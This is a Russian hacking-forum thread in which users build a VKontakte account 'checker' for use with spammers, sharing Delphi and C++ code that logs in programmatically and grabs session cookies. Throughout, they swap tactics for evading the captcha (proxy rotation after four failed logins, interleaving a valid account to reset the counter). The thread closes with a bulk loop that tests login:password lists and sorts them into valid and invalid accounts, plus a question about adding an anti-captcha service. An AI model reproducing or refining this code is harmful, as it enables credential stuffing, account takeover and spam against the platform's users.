[В]контакте авторизация

[Sunstrider]

http://vkontakte.ru/login.php?m=1&email=
народ где здесь значение входа,е мейл и пароль подстовляет а про вход даже незнаю где подцепить(подобие чекера пишу)

[RedFern.89]

опять эту тему подняли! ищите в поиске по ачату) тут есть))

[Sunstrider]

там через id http а я так
procedure TForm1.Button2Click(Sender: TObject);
var
i:integer;
s:string;
html_tag: variant;
begin
html_tag:=WebBrowser1.OleObject.Document.forms.ite m(0).elements;
for i:=0 to (html_tag.length-1) do
begin
if (html_tag.item(i).name='email') then
html_tag.item(i).value:=edit1.text;

if (html_tag.item(i).name='pass') then
html_tag.item(i).value:=edit2.text ;

if (html_tag.item(i).value='quick_login()') then
html_tag.item(i).click;
подругому не умею(

[_LeADeR_WTF_]

пробуй тaк vkontakte.ru/login.php?email=имейл&pass=пароль

[Sunstrider]

софт в поля подстовляет как имено войти нажатие реализовать

[[stranger]]

function re(wHost, wRequest: string):string;
var
hSocket: TSocket;
hHost: PHostEnt;
hAddr: TSockAddrIn;
hTimeout: TTimeVal;
iRead: integer;
hBuffer: array[0..1024] of char;
hData:string;
begin

hSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
hHost := gethostbyname(PChar(wHost));
hAddr.sin_family := AF_INET;
hAddr.sin_port := htons(80);
hAddr.sin_addr := pinaddr(hHost^.h_addr^)^;
hTimeout.tv_usec := 0;
hTimeout.tv_sec := 2000;
setsockopt(hSocket, SOL_SOCKET, SO_RCVTIMEO, @hTimeout, sizeof(ttimeval));
connect(hSocket, hAddr, SizeOf(hAddr));

Send(hSocket, wRequest[1], length(wRequest), 0);
while (TRUE) do
begin
FillChar(hBuffer, SizeOf(hBuffer), 0);
iRead := Recv(hSocket, hBuffer, length(hBuffer), 0);
hData := hData + copy(hBuffer, 0, iRead);
if (iRead <= 0) then break;
end;
CloseSocket(hSocket);
result := hData;
end;



re('login.vk.com','POST /?act=login HTTP/1.1'#13#10+
'Host: login.vk.com'#13#10+
'Referer: http://vkontakte.ru/index.php'#13#10+
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Content-Length: ' + cl + #13#10#13#10+
'email=' + e-mail + '&pass=' + password + '&expire=&vk='));


из ответа надо вытащить ключ s и передавать его в следующем запросе:

re('vkontakte.ru','POST /login.php HTTP/1.1'#13#10+
'Host: vkontakte.ru'#13#10+
'Referer: http://login.vk.com/?act=login'#13#10+
'Content-Type: application/x-www-form-urlencoded'#13#10+
'Content-Length: ' + cl + #13#10#13#10+
's=' + s +'&op=slogin&redirect=1&expire=0&to='));

из заголовка надо вытащить remixsid и в дальнейшем использовать его для загрузки нужных станиц

[Sunstrider]

эмм для меня это тупо код в которым я не мыслю) расстолкуйте

[M_script_]

http://forum.antichat.ru/thread151017.html

[1n0y]

WebBrowser1.navigate('vkontakte.ru/login.php?email=имейл&pass=пароль');

[RedFern.89]

[быдло_оффтоп_коммент]TWebBrowser - это кошмарнейшее уныние, с которым вы прое6ете кучу трафика и веремени. [/быдло_оффтоп_коммент]

как минимум idHTTP используйте а лучше всего сокеты или вининет

[Sunstrider]

а где почитать (изучить) их

[admink1]

а есть ли пример раскодировки хэша?

[RedFern.89]

admink1, есть))) сам лично писал))) могу скинуть в лс)) тебе wallhash или просто hash? оО их же 2 там))) а авторизацию надо делать на сокетах а не через этот ацтой))) быдлокодеры мля))) я пое6авшись 2 дня понял - что idHTTP полная хрень)))

[M_script_]

а есть ли пример раскодировки хэша?
Одна строка кода:
#define DecodeHash(s) ReverseString(s.SubString(s.Length() - 4, 5) + s.SubString(5, s.Length() - 12));

[Sunstrider]

я даж незнаю что такое сокет,дайте полный фак плз

[warkk]

Так ты не авторизируешся, сначала ты посылаешь на сервер логин и пароль, параметры запроса вроде (email,pass,expire,vk) в ответ тебе придет параметр s, его надо спарсить с ответа, там 56 символов хэш. Ну и после того как спрасил ключ, посылаешь на сервер ещё 1 пост запрос, параметры вроде (s,op,redirect). Параметры смотри снифером

[Sunstrider]

Варк спасиб я забил на делфи,изучаю С++

[M_script_]

Так ты не авторизируешся
Сначала проверь, а потом пиши ;)
vkontakte.ru/login.php?email=имейл&pass=пароль

[stepashka_]

Варк спасиб я забил на делфи,изучаю С++
а смысл?
одно и тоже считай :rolleyes:

[Sunstrider]

а смысл?
одно и тоже считай :rolleyes:
Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров

[M_script_]

Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров
Любой современный ЯП.

[RedFern.89]

Да ешки матрешки,народ какой ЯП больше подходит для написание чекеров Спамеров


ваще самый простой вариант - Delphi, C++, C#

:) :) :)

[Sunstrider]

я шяс убьюсь ((( Один вариант самый актуальный

[RedFern.89]

Sunstrider, я вот что тебе скажу. Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это. В общем каждому свое)) я лично отдаю свое предпочтение Delphi ))

еще скажу. Если же ты делаешь чекер - то я бы не советовал юзать TWebBrowser. Как бэ подумай, что случится с компом, если ты запустишь проверку в 100 потоков. Тут даже инди не совсем актуальны. В общем изучай нужный тебе язык программирования и вперед! :) :)

[Sunstrider]

а софт мошнее на с++?

[RedFern.89]

возможно. Я точно не знаю ничего про компилятор и возможности у C++, C#. Думаю - местные напишут)))

[warkk]

Сначала проверь, а потом пиши ;)
vkontakte.ru/login.php?email=имейл&pass=пароль

Ну попробуй программно так авторизироватся)

[M_script_]

Ну попробуй программно так авторизироватся)
Пробовал не раз. Все нормально.
Для спамеров, чекеров и т.п. данный способ не подходит по некоторым причинам.

Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это
Странное мнение. В c++ без разницы, какой тип переменных использовать? И почему "кроме builder"?

[Zombi ****]

http://vkontakte.ru/login.php?m=1&email=
народ где здесь значение входа,е мейл и пароль подстовляет а про вход даже незнаю где подцепить(подобие чекера пишу)
а на php кто подскажет где почитать??

[warkk]

Пробовал не раз. Все нормально.
Для спамеров, чекеров и т.п. данный способ не подходит по некоторым причинам.

Я не знаю как ты там "пробывал" но так сейчас программно не авторизируешся.

[keen6]

Delphi - ругается на каждую мелочь. т.е. на не соответствие типов и тд. Все же языки типа c++ (кроме builder) им пофигу на это.

Прежде чем писать, подучите теорию. И С++ и Delphi - языки со строгой типизацией. С++ больше подходит для системного программирования, на Delphi будет проще писать несложное прикладное ПО.

[M_script_]

Я не знаю как ты там "пробывал" но так сейчас программно не авторизируешся.
То есть, по твоему, вручную через браузер можно авторизоваться, а программно нельзя? :confused:

[warkk]

Ага, с такими параметрами не авторизируешся, включи снифер и посмотри.

[M_script_]

Ага, с такими параметрами не авторизируешся, включи снифер и посмотри.
В ответе приходит remixsid, больше ничего и не нужно для авторизации.

[warkk]

Хех... Смотри снифером. Там 2 пост запроса.

[Sunstrider]

Я сейчас изучаю С++ ,посложнее но софт выходит более качественный.И лучше работает думаю начать изучать шарп

[warkk]

Попробуй что то одно нормально выучить)

[RedFern.89]

на любом языке можно все это написать))) главное знать основы работы того, над чем работаешь))

[M_script_]

Хех... Смотри снифером. Там 2 пост запроса.
Специально для самых упертых пример на инди... (warkk, найди в примере хотя бы один пост-запрос ;))
На форму кидаем 2 TEdit, TButton, TIdHTTP, TIdAntiFreeze (не обязательно)
В обработчике нажатия на кнопку пишем следующий код:
TMemoryStream* ms = new TMemoryStream;

try
{
IdHTTP1->Get( "http://vkontakte.ru/login.php?email=" +
Edit1->Text +
"&pass=" +
Edit2->Text);
}
catch(...){}

String sRemixsid = IdHTTP1->Response->RawHeaders->GetText();
sRemixsid.Delete(1, sRemixsid.Pos("remixsid=") + 9 - 1);
sRemixsid.SetLength(sRemixsid.Pos(";") - 1);

IdHTTP1->Request->CustomHeaders->Add("Cookie: remixsid=" + sRemixsid);
IdHTTP1->Get(IdHTTP1->Response->Location, ms);
ms->SaveToFile("page.htm");

delete ms;

Программа авторизуется и сохраняет страницу юзера в файл page.htm
Скачать программу (http://dump.ru/file/4531981)

[Sunstrider]

Специально для самых упертых пример на инди... (warkk, найди в примере хотя бы один пост-запрос ;))
На форму кидаем 2 TEdit, TButton, TIdHTTP, TIdAntiFreeze (не обязательно)
В обработчике нажатия на кнопку пишем следующий код:
TMemoryStream* ms = new TMemoryStream;

try
{
IdHTTP1->Get( "http://vkontakte.ru/login.php?email=" +
Edit1->Text +
"&pass=" +
Edit2->Text);
}
catch(...){}

String sRemixsid = IdHTTP1->Response->RawHeaders->GetText();
sRemixsid.Delete(1, sRemixsid.Pos("remixsid=") + 9 - 1);
sRemixsid.SetLength(sRemixsid.Pos(";") - 1);

IdHTTP1->Request->CustomHeaders->Add("Cookie: remixsid=" + sRemixsid);
IdHTTP1->Get(IdHTTP1->Response->Location, ms);
ms->SaveToFile("page.htm");

delete ms;

Программа авторизуется и сохраняет страницу юзера в файл page.htm
Скачать программу (http://dump.ru/file/4531981)
эт авторизация на вк ?

[GlooK]

эт авторизация на вк ?

На mail.ru, разве не видно?

[warkk]

Data.Add('email='+Edit1.Text);
Data.Add('pass='+Edit2.Text);
Data.Add('expire=');
Data.Add('vk=0');
S:=HTTP.Post('http://login.vk.com/?act=login',Data);
S:=Copy(S,Pos('value=',S)+7,56);

Data.Clear;

Data.Add('s='+s);
Data.Add('op=slogin');
Data.Add('redirect=1');
Data.Add('expire=0');
Data.Add('to=');
HTTP.Post('http://vkontakte.ru/login.php',Data);
Memo1.Text:=HTTP.Get('http://vkontakte.ru/profile.php');

В мемо копирует содержимое страници)

[Sunstrider]

люди обьяснните мне код ася в профиле награжу заранее спс

[1n0y]

госпади, ды сколько же можно!

[t04]

никого не интересует написать полный компонент на сокетах, без всяких idHTTP и idCookieManager?

[M_script_]

никого не интересует написать полный компонент на сокетах, без всяких idHTTP и idCookieManager?
Зачем изобретать велосипед? Все что нужно уже написали, curl называется.

[Ar2r]

вот рабочая авторизация вк с кукисами. (codegear 2009 с++ (http://letitbit.net/download/13912.13db77337f4c8ab728f4a80fc/_____________.rar.html) )

[RedFern.89]

ненавижу letbit

[Sunstrider]

ненавижу letbit
Ну он лучше депосита по скорости !)

[RedFern.89]

не сочтите за рекламу, но slil.ru куда лучше. ИМХО

[Sunstrider]

не сочтите за рекламу, но slil.ru куда лучше. ИМХО
по форума да а так этот ФО не пускает фильтры аси++ ихмо сендспайс зе бест

[Qwazar]

а смысл?
одно и тоже считай :rolleyes: Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.

[M_script_]

Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
Все зависит от того, с какой целью человек изучает программирование. Если он не собирается профессионально заниматься программированием, то делфи вполне подходит.
А если хочешь работать программистом, то со знанием 1С работу проще найти, чем со знанием C++ или делфи.

[gisTy]

хочешь работать программистомзнанием 1Сгде связь?

[GhostOnline]

Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
готов поспорить что ты не знаешь что с языком произошло за последние лет 5. Вообще в курсе что в дельфи кроссплатформу вводят?

[ntldr]

Делфи действительно пустая трата времени. Знаешь С++ - не трудно будет выучить C#,Java.

[gisTy]

Вообще в курсе что в дельфи кроссплатформу вводят?
смысл?

[GhostOnline]

смысл?
тот же что и в Qt или Java
Если он не собирается профессионально заниматься программированием, то делфи вполне подходит.
Интересно, фриланс входит в профессиональное занятие программированием?

[Sunstrider]

Я изучаю С++,и делфи поверхностно тему close';

[M_script_]

где связь?
Где связь между программированием и программированием в 1С? Это разве не очевидно? :confused:

[Ar2r]

ойййй! господин Модератор! убей последние сообщения. оффтоп полный!

1) делфи хорош в обучении. к нему полно компонентов. это гуд. Кто начнёт доказывать мне, что с точки зрения обьектно ориентированности делфи может потягаться с С++, пусть так и считает. Это тоже самое что доказывать инквизиторам дарвиновскую теорию.

2) Связь между программированием и программированием в 1С заключается только в слове Программирование.

p.s. И в завершении. Никто так толком и не описал методы работы с контактом на компелируемом языке. Очень хотелбы увидеть способы работы с ява окошками (пригласить во встречу, группу и тд)

[GhostOnline]

Никто не доказывает что дельфи лучше
Никто не доказывает что дельфи для всего хорош
У каждого языка свои плюсы и минусы
У каждого языка своя область применения
И точка.
Кто начнёт доказывать мне, что с точки зрения обьектно ориентированности делфи может потягаться с С++, пусть так и считает.
опять же тут никто не пытался что-то кому то доказать, но могу ля я почитать мнение эксперта с мировым именем по ООП, то бишь тебя, чем должен обладать язык что-бы считаться вполне себе объектно-ориентированным? Чтобы как-то голословным это не выглядело.

[Ar2r]

Смысл в том, что потребность в C++ есть, а изучение Delphi - пустая трата времени. Язык безнадёжно устарел.
Да пипец! Чуть выше никто ничего не доказывал! :cool:

в с++ не нужна отдельная синтаксическая конструкция для интерфейсов. в делфи же является ограничение на структуру дерева классов: невозможно унаследовать класс, реализующий интерфейс, от какого-либо другого своего класса.

[M_script_]

2) Связь между программированием и программированием в 1С заключается только в слове Программирование.
А больше ничего и не нужно. ЯП создан под конкретные задачи, с которыми справляется.


p.s. И в завершении. Никто так толком и не описал методы работы с контактом на компелируемом языке. Очень хотелбы увидеть способы работы с ява окошками (пригласить во встречу, группу и тд)
Это не инструкция по ВК.

[stepashka_]

procedure TForm1.Button1Click(Sender: TObject);
var
params, responseres : tstringlist;
begin
params := TStringList.Create;
responseres := TStringList.Create;
try
params.Add('email=edit1');
params.Add('password=edit2');
IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',responseres.Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
responseres.free;
end;
end;
end.
Подскажите где ошибка

[M_script_]

Подскажите где ошибка
responseres - это что?

[stepashka_]

responseres - это что?
я только учу дельфи ты же знаешь :)
убрал responseres
вот что получилось

procedure TForm1.Button1Click(Sender: TObject);
var
params: tstringlist;
begin
params := TStringList.Create;
try
params.Add('email=edit1');
params.Add('password=edit2');
IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
end;
end;
end.
Всё равно выскакивает Авторизация не удалась! :(

[[stranger]]

я только учу дельфи ты же знаешь :)
убрал responseres
вот что получилось

Всё равно выскакивает Авторизация не удалась! :(
а куда ты записываешь результат запроса? в базовое пространство вселенной? :rolleyes:

[stepashka_]

']а куда ты записываешь результат запроса? в базовое пространство вселенной? :rolleyes:
Вот за этим я сюда и пришёл :)

[[stranger]]

Вот за этим я сюда и пришёл :)


procedure TForm1.Button1Click(Sender: TObject);
var params, resp : TStringList;
begin
params := TStringList.Create;
resp := TStringList.Create;
try
params.Add('email=' + edit1.text);
params.Add('pass=' + edit2.text);
resp.text := IdHTTP1.Post('http://vkontakte.ru/login.php',params);
if Pos('http://vkontakte.ru/profile.php',resp.Text)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
finally
params.free;
resp.free;
end;
end;

[HakaR]

Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.

Сначала на http://vkontakte.ru/login.php отправляем "op=a_login_attempt", смотрим ответ если vklogin продолжаем, если нет: парсим ид капчи, грузим её.
Далее "email=", "pass=", "expire=", "vk=0" шлем на http://login.vk.com/?act=login. Из результата берем хеш (s) s:=Copy(result,Pos('value=',result)+7,56);
Далее 3 пост запрос отправляем: "s=", "op=slogin", "redirect=1" "expire=0", "to=" на http://vkontakte.ru/login.php.

з.ы. исправь ещё свой idcookiemanager

[M_script_]

Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.
Можно авторизоваться одним гет-запросом. То, что видишь в снифере - не всегда единственно возможный вариант.
http://forum.antichat.ru/showpost.php?p=2085789&postcount=39

[HakaR]

M_script_, согласен, можно.
Но в его случае он авторизируется через пост. Вот я и подсказал как через пост. :)

[[stranger]]

запрос:

'GET /login.php?email=&pass= HTTP/1.1'#13#10+
'Host: vkontakte.ru'#13#10+
'Referer: http://vkontakte.ru/index.php'#13#10+
'Connection: close'#13#10#13#10));

ответ:

HTTP/1.1 302 Found
Server: nginx/0.7.59
Date: Sun, 25 Apr 2010 14:17:37 GMT
Content-Type: text/html; charset=windows-1251
Connection: close
X-Powered-By: PHP/5.2.6-1+lenny4
Pragma: no-cache
Cache-control: no-store
Set-Cookie: remixchk=5; expires=Sat, 23-Apr-2011 12:33:44 GMT; path=/; domain=.vkontakte.ru
Set-Cookie: remixchk=5; expires=Thu, 28-Apr-2011 22:20:33 GMT; path=/; domain=.vkontakte.ru
Set-Cookie: remixsid=*****************************; expires=Mon, 18-Apr-2011 03:47:57 GMT; path=/; domain=.vkontakte.ru
Location: /id*********
Vary: Accept-Encoding
Content-Length: 0


чудеса.. :rolleyes:

[Sunstrider]

Сколько говорить, что авторизация вк не так происходит!
Там 2 или 3 пост запроса.

Сначала на http://vkontakte.ru/login.php отправляем "op=a_login_attempt", смотрим ответ если vklogin продолжаем, если нет: парсим ид капчи, грузим её.
Далее "email=", "pass=", "expire=", "vk=0" шлем на http://login.vk.com/?act=login. Из результата берем хеш (s)
Далее 3 пост запрос отправляем: "s=", "op=slogin", "redirect=1" "expire=0", "to=" на http://vkontakte.ru/login.php.

з.ы. исправь ещё свой idcookiemanager
спасибо,вкатил что до как

[warkk]

Можно авторизоваться одним гет-запросом. То, что видишь в снифере - не всегда единственно возможный вариант.
А если капча? В твоем случае нет проверки на капчу

[HakaR]

А если капча? В твоем случае нет проверки на капчу
А что мешает её прикрутить? :)

[warkk]

А что мешает её прикрутить?
Я Ведь не говорю что нельзя

Можно авторизоваться одним гет-запросом

[M_script_]

А если капча?
Капча появляется не рандомно, если все правильно сделать ее не будет.

[Sunstrider]

Капча появляется не рандомно, если все правильно сделать ее не будет.
:D Тоесть предварительно прочекать норм чекером ?

[HakaR]

Капча появляется не рандомно, если все правильно сделать ее не будет.
Спали что нужно правильно сделать :confused: :o
Интересно... :)

[M_script_]

Спали что нужно правильно сделать :confused: :o
Интересно... :)
4 невалида -> смена прокси

[stepashka_]

M_script_ можно твой пример get авторизации только на дельфи
Ничего не пойму :(

[Sunstrider]

4 невалида -> смена прокси
Да но допустим те надо будет прочекать 20 000 аккаунтов то те нужен милионый список прокси

[warkk]

Можно и без прокси, просто после 4 невалидов походу должен идти 1 валид) Т.е. просто любой твой валидный акк)

[Sunstrider]

Можно и без прокси, просто после 4 невалидов походу должен идти 1 валид) Т.е. просто любой твой валидный акк)
а после валида опять лимит 4 ?

[warkk]

Ну походу да. Т.е. если идет подряд 4 невалида, то следующий делай валид

[Sunstrider]

Но походу там после 5 невалидов с ипа капча независимо от валида

[Ar2r]

если не сильно жмёт - потерпи до завтра. выложу чекер с исходниками, который чекает аки.

Капча вылазит после 5 неудачных входов. Убирается удачным валидом. Бороться можно либо проксями, либо заложеной внутри проги валидной учёткой, которая будет служить обнулением капча счётчика.

[stepashka_]

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s : String;
begin
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=copy(uns, 286, 56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
if Pos('http://vk.com/profile.php',s )>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end.
что тут опять не так? выдаёт ошибку HTTP/1.1 302 found

[[stranger]]

т.е. 4 невалида 1 валид и капчи не видать?

[[stranger]]

что тут опять не так? выдаёт ошибку HTTP/1.1 302 found
это не ошибка!! :mad:
это редирект!
в "Location: " написано куда

[M_script_]

недолго этому способу жить осталось теперь =)

[HakaR]

что тут опять не так? выдаёт ошибку HTTP/1.1 302 found
TIdHTTP.HandleRedirects := True;

[stepashka_]

TIdHTTP.HandleRedirects := True;
при компиляции эта строка у меня красным выделяется :(

[TrueBit]

при компиляции эта строка у меня красным выделяется :(
IdHTTP1.HandleRedirects := True;

[HakaR]

TIdHTTP1.HandleRedirects := True;
не, во:
idhttp1.handleredirects := true;
stepashka_, ты убиваешь мой моск :(

[stepashka_]

IdHTTP1.HandleRedirects := True;
Теперь всё норм
Но всё равно пишет что авторизация не удалась :( :(


upd
HTTP/1.1 302 found всё равно осталась

[Ar2r]

IdHttp1.HandleRedirects := true;

[HakaR]

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s, res : String;
begin
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=copy(uns, 286, 56);
res := idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
if Pos('http://vk.com/profile.php', res)>0 then
ShowMessage('Авторизовались!')
else
ShowMessage('Авторизация не удалась!');
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end.
Так попробуй. Хотя хз...я не проверял.

[stepashka_]

Так попробуй. Хотя хз...я не проверял.
Всё равно :(
me=\ в ярости :mad:

[Ar2r]

дуров наверно сидит и уссывается с нас

[TrueBit]

мб этой строки "http://vk.com/profile.php" в "uns" при авторизации нет?

[Ar2r]

посмотри исходник который я выкладывал. там авторизация в несколько этапов с просчётом времяни через таймер идёт. Я авторизовывался через тот пример

[HakaR]

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s: String;
begin
idhttp1.HandleRedirects := True;
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('Àâòîðèçàöèÿ íå óäàëàñü!')
else
begin
ShowMessage('Àâòîðèçèðîâàëèñü');
memo1.Lines.Add(uns);
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end;
Проверил, работает.

[stepashka_]

Проверил, работает.
HTTP/1.1 302 found :(

[HakaR]

HTTP/1.1 302 found :(
idhttp1.HandleRedirects := True;
После begin добавь :( :mad:
begin
idhttp1.HandleRedirects := True;
...
...
...

[stepashka_]

всё гуд!

Кидаем на форму 2 edit, batton, idhttp, IdCookieManager, IdAntiFreeze memo
На кнопку

procedure TForm1.Button1Click(Sender: TObject);
var
uns, s: String;
begin
idhttp1.HandleRedirects := True;
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+edit1.text+'&pass='+edit2.text+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
if Pos('http://vk.com/profile.php', uns) <> 0 then
ShowMessage('ne ok')
else
begin
ShowMessage('ok');
memo1.Lines.Add(uns);
IdCookieManager1.AddCookie('remixsid='+s+ '; path=/; ','vk.com');
IdCookieManager1.AddCookie('remixchk=5; path=/;','vk.com');
end;
end;
ухх неужели :)

[Ar2r]

это ещё начало гемороя. попробуй теперь загрузи страницу с сообщениями

[stepashka_]

у меня все впереди, я только начал кодить

[Sunstrider]

s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял

[GhostOnline]

s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял
56 символов после value= из строки uns, вроде так
это единственный способ авторизации ?
Без понятия, я всего лишь указал что делает этот код, фкантагте никогда не работал

[Sunstrider]

56 символов после value= из строки uns, вроде так
это единственный способ авторизации ?

[HakaR]

s:=Copy(uns,Pos('value=',uns)+7,56);
что в переменую S сохроняеться я не понял
В эту переменную хеш сохраняется, он далее нужен для авторизации.

[RedFern.89]

да вот рабочий пример!!!!!


var HTTP : TidHTTP;

procedure VK_Login(email, pass: string);
var
cookie : TidCookieManager;
uns : string;
Data : TStringList;
begin
Cookie := TidCookieManager.Create(nil);
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
HTTP.CookieManager := Cookie;
HTTP.AllowCookies := True;
HTTP.HandleRedirects := True;
HTTP.Request.UserAgent := 'Mozilla/5.0';

Data.Add('email='+email);
Data.Add('pass='+pass);

Uns := HTTP.Post('http://login.vk.com/?act=login', Data);
Uns := Copy(uns, 286, 56);

Cookie.AddCookie('remixsid=' + Uns + '; path=/;', 'vkontakte.ru');
Cookie.AddCookie('remixchk=5; path=/;', 'vkontakte.ru');
end;



чорт1!!!!1!!1 все!!! закройте вы эту тему!!! сколько уже можно в ней писать??? или вам еще примеры какието привести???

[warkk]

Ага))) Можно подробнее)))))

[RedFern.89]

люди!11!1!1! ололо!!!!1!1! запомните!

HTTP/1.1 302 Found - это не ошибка!!!! это просто перенаправление!!!!! вываливаеца в виде эксепшена! уууууххххххххх.... закройте пожалуйста эту тему....

[Sunstrider]

да вот рабочий пример!!!!!


var HTTP : TidHTTP;

procedure VK_Login(email, pass: string);
var
cookie : TidCookieManager;
uns : string;
Data : TStringList;
begin
Cookie := TidCookieManager.Create(nil);
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
HTTP.CookieManager := Cookie;
HTTP.AllowCookies := True;
HTTP.HandleRedirects := True;
HTTP.Request.UserAgent := 'Mozilla/5.0';

Data.Add('email='+email);
Data.Add('pass='+pass);

Uns := HTTP.Post('http://login.vk.com/?act=login', Data);
Uns := Copy(uns, 286, 56);

Cookie.AddCookie('remixsid=' + Uns + '; path=/;', 'vkontakte.ru');
Cookie.AddCookie('remixchk=5; path=/;', 'vkontakte.ru');
end;



чорт1!!!!1!!1 все!!! закройте вы эту тему!!! сколько уже можно в ней писать??? или вам еще примеры какието привести???
ураа заработале спасибо добрый человек)

[stepashka_]

Подскажите если в этой авторизации вылезла капча

begin
if Flag then Break;
idhttp1.HandleRedirects := True;
log:=copy(memo1.lines[0],1,pos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],pos(':',memo1.lines[0])+1,20);
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
memo4.lines.add(log + ' Авторизируемся' );
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo1.Lines.Delete(0) ;
memo4.lines.add(log + ' Валидный' );
memo2.lines.add(log + ':' + pass);
except
On E: Exception do begin
memo4.lines.add(log + ' Невалид' );
memo3.lines.add(log + ':' + pass);
memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
Как её спарсить и вывести в картинку на форму? текст вводить в edit при нажатии на кнопку что бы продолжался цикл. :)

[stepashka_]

Lovemachine, Это точно не то


upd
анти-каптчу можно сюда пристроить?